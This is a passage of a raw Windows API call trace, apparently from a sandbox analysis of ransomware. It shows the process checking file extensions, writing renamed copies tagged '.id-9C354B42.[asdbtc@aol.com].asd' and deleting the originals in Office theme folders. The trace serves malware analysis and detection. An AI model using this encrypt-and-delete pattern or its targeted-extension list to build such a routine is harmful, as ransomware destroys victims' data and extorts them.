(lpString=".pdf") returned 4 [0055.425] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.425] lstrlenW (lpString=".xls") returned 4 [0055.425] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.425] lstrlenW (lpString=".xlsx") returned 5 [0055.425] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.425] lstrlenW (lpString=".ppt") returned 4 [0055.426] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0055.426] lstrlenW (lpString=".zip") returned 4 [0055.426] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.426] lstrlenW (lpString=".rar") returned 4 [0055.426] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.426] lstrlenW (lpString=".bz2") returned 4 [0055.426] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.426] lstrlenW (lpString=".7z") returned 3 [0055.426] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0055.426] lstrlenW (lpString=".dbf") returned 4 [0055.426] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0055.426] lstrlenW (lpString=".1cd") returned 4 [0055.426] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0055.426] lstrlenW (lpString=".jpg") returned 4 [0055.426] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.426] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0055.426] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0056.079] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=34163) returned 1 [0056.079] CloseHandle (hObject=0x1dc) returned 1 [0056.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0056.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0056.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0056.079] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.080] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0056.080] GetLastError () returned 0x0 [0056.080] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x8573, lpOverlapped=0x0) returned 1 [0056.523] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x8580, lpOverlapped=0x0) returned 1 [0056.525] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.528] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.528] SetEndOfFile (hFile=0x1e4) returned 1 [0056.528] CloseHandle (hObject=0x1e4) returned 1 [0056.528] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.528] SetEndOfFile (hFile=0x1dc) returned 1 [0056.529] CloseHandle (hObject=0x1dc) returned 1 [0056.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0056.529] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0056.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0056.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0056.530] lstrlenW (lpString=".doc") returned 4 [0056.530] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0056.530] lstrlenW (lpString=".docx") returned 5 [0056.530] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0056.530] lstrlenW (lpString=".pdf") returned 4 [0056.530] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0056.530] lstrlenW (lpString=".xls") returned 4 [0056.530] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0056.530] lstrlenW (lpString=".xlsx") returned 5 [0056.530] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0056.530] lstrlenW (lpString=".ppt") returned 4 [0056.530] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0056.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0056.530] lstrlenW (lpString=".zip") returned 4 [0056.530] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0056.530] lstrlenW (lpString=".rar") returned 4 [0056.530] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0056.530] lstrlenW (lpString=".bz2") returned 4 [0056.530] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0056.530] lstrlenW (lpString=".7z") returned 3 [0056.530] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0056.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0056.530] lstrlenW (lpString=".dbf") returned 4 [0056.530] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0056.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0056.530] lstrlenW (lpString=".1cd") returned 4 [0056.530] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0056.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0056.531] lstrlenW (lpString=".jpg") returned 4 [0056.531] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0056.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0056.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0056.531] lstrlenW (lpString=".doc") returned 4 [0056.531] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0056.531] lstrlenW (lpString=".docx") returned 5 [0056.531] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0056.531] lstrlenW (lpString=".pdf") returned 4 [0056.531] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0056.531] lstrlenW (lpString=".xls") returned 4 [0056.531] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0056.531] lstrlenW (lpString=".xlsx") returned 5 [0056.531] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0056.531] lstrlenW (lpString=".ppt") returned 4 [0056.531] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0056.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0056.531] lstrlenW (lpString=".zip") returned 4 [0056.531] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0056.531] lstrlenW (lpString=".rar") returned 4 [0056.531] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0056.531] lstrlenW (lpString=".bz2") returned 4 [0056.531] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0056.531] lstrlenW (lpString=".7z") returned 3 [0056.531] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0056.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0056.531] lstrlenW (lpString=".dbf") returned 4 [0056.531] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0056.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0056.531] lstrlenW (lpString=".1cd") returned 4 [0056.531] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0056.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0056.532] lstrlenW (lpString=".jpg") returned 4 [0056.532] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0056.532] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0056.532] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0056.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0056.532] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=4991) returned 1 [0056.532] CloseHandle (hObject=0x1dc) returned 1 [0056.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0056.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0056.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0056.533] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.533] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0056.559] GetLastError () returned 0x0 [0056.559] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x137f, lpOverlapped=0x0) returned 1 [0056.562] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x1380, lpOverlapped=0x0) returned 1 [0056.563] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.564] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0056.564] SetEndOfFile (hFile=0x1e4) returned 1 [0056.564] CloseHandle (hObject=0x1e4) returned 1 [0056.564] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.564] SetEndOfFile (hFile=0x1dc) returned 1 [0056.565] CloseHandle (hObject=0x1dc) returned 1 [0056.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0056.565] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0056.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0056.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0056.566] lstrlenW (lpString=".doc") returned 4 [0056.566] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.566] lstrlenW (lpString=".docx") returned 5 [0056.566] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0056.566] lstrlenW (lpString=".pdf") returned 4 [0056.566] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.566] lstrlenW (lpString=".xls") returned 4 [0056.566] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.566] lstrlenW (lpString=".xlsx") returned 5 [0056.566] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0056.566] lstrlenW (lpString=".ppt") returned 4 [0056.566] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0056.566] lstrlenW (lpString=".zip") returned 4 [0056.566] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.566] lstrlenW (lpString=".rar") returned 4 [0056.566] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.566] lstrlenW (lpString=".bz2") returned 4 [0056.566] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.566] lstrlenW (lpString=".7z") returned 3 [0056.566] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0056.566] lstrlenW (lpString=".dbf") returned 4 [0056.566] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0056.566] lstrlenW (lpString=".1cd") returned 4 [0056.566] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0056.567] lstrlenW (lpString=".jpg") returned 4 [0056.567] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0056.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0056.567] lstrlenW (lpString=".doc") returned 4 [0056.567] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.567] lstrlenW (lpString=".docx") returned 5 [0056.567] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0056.567] lstrlenW (lpString=".pdf") returned 4 [0056.567] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.567] lstrlenW (lpString=".xls") returned 4 [0056.567] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.567] lstrlenW (lpString=".xlsx") returned 5 [0056.567] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0056.567] lstrlenW (lpString=".ppt") returned 4 [0056.567] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0056.567] lstrlenW (lpString=".zip") returned 4 [0056.567] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.567] lstrlenW (lpString=".rar") returned 4 [0056.567] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.567] lstrlenW (lpString=".bz2") returned 4 [0056.567] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.567] lstrlenW (lpString=".7z") returned 3 [0056.567] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0056.567] lstrlenW (lpString=".dbf") returned 4 [0056.567] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0056.568] lstrlenW (lpString=".1cd") returned 4 [0056.568] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0056.568] lstrlenW (lpString=".jpg") returned 4 [0056.568] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.568] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0056.568] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0056.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0056.569] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=44302) returned 1 [0056.569] CloseHandle (hObject=0x1dc) returned 1 [0056.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0056.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0056.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0056.569] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.569] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0056.569] GetLastError () returned 0x0 [0056.570] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0xad0e, lpOverlapped=0x0) returned 1 [0056.572] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xad10, lpOverlapped=0x0) returned 1 [0056.574] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.574] WriteFile (in: hFile=0x1e4, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.574] SetEndOfFile (hFile=0x1e4) returned 1 [0056.574] CloseHandle (hObject=0x1e4) returned 1 [0056.574] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.574] SetEndOfFile (hFile=0x1dc) returned 1 [0056.575] CloseHandle (hObject=0x1dc) returned 1 [0056.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0056.576] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0056.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0056.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0056.576] lstrlenW (lpString=".doc") returned 4 [0056.576] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0056.576] lstrlenW (lpString=".docx") returned 5 [0056.576] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0056.576] lstrlenW (lpString=".pdf") returned 4 [0056.576] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0056.576] lstrlenW (lpString=".xls") returned 4 [0056.576] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0056.576] lstrlenW (lpString=".xlsx") returned 5 [0056.576] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0056.576] lstrlenW (lpString=".ppt") returned 4 [0056.576] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0056.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0056.576] lstrlenW (lpString=".zip") returned 4 [0056.576] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0056.576] lstrlenW (lpString=".rar") returned 4 [0056.576] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0056.577] lstrlenW (lpString=".bz2") returned 4 [0056.577] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0056.577] lstrlenW (lpString=".7z") returned 3 [0056.577] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0056.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0056.577] lstrlenW (lpString=".dbf") returned 4 [0056.577] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0056.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0056.577] lstrlenW (lpString=".1cd") returned 4 [0056.577] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0056.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0056.577] lstrlenW (lpString=".jpg") returned 4 [0056.577] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0056.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0056.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0056.577] lstrlenW 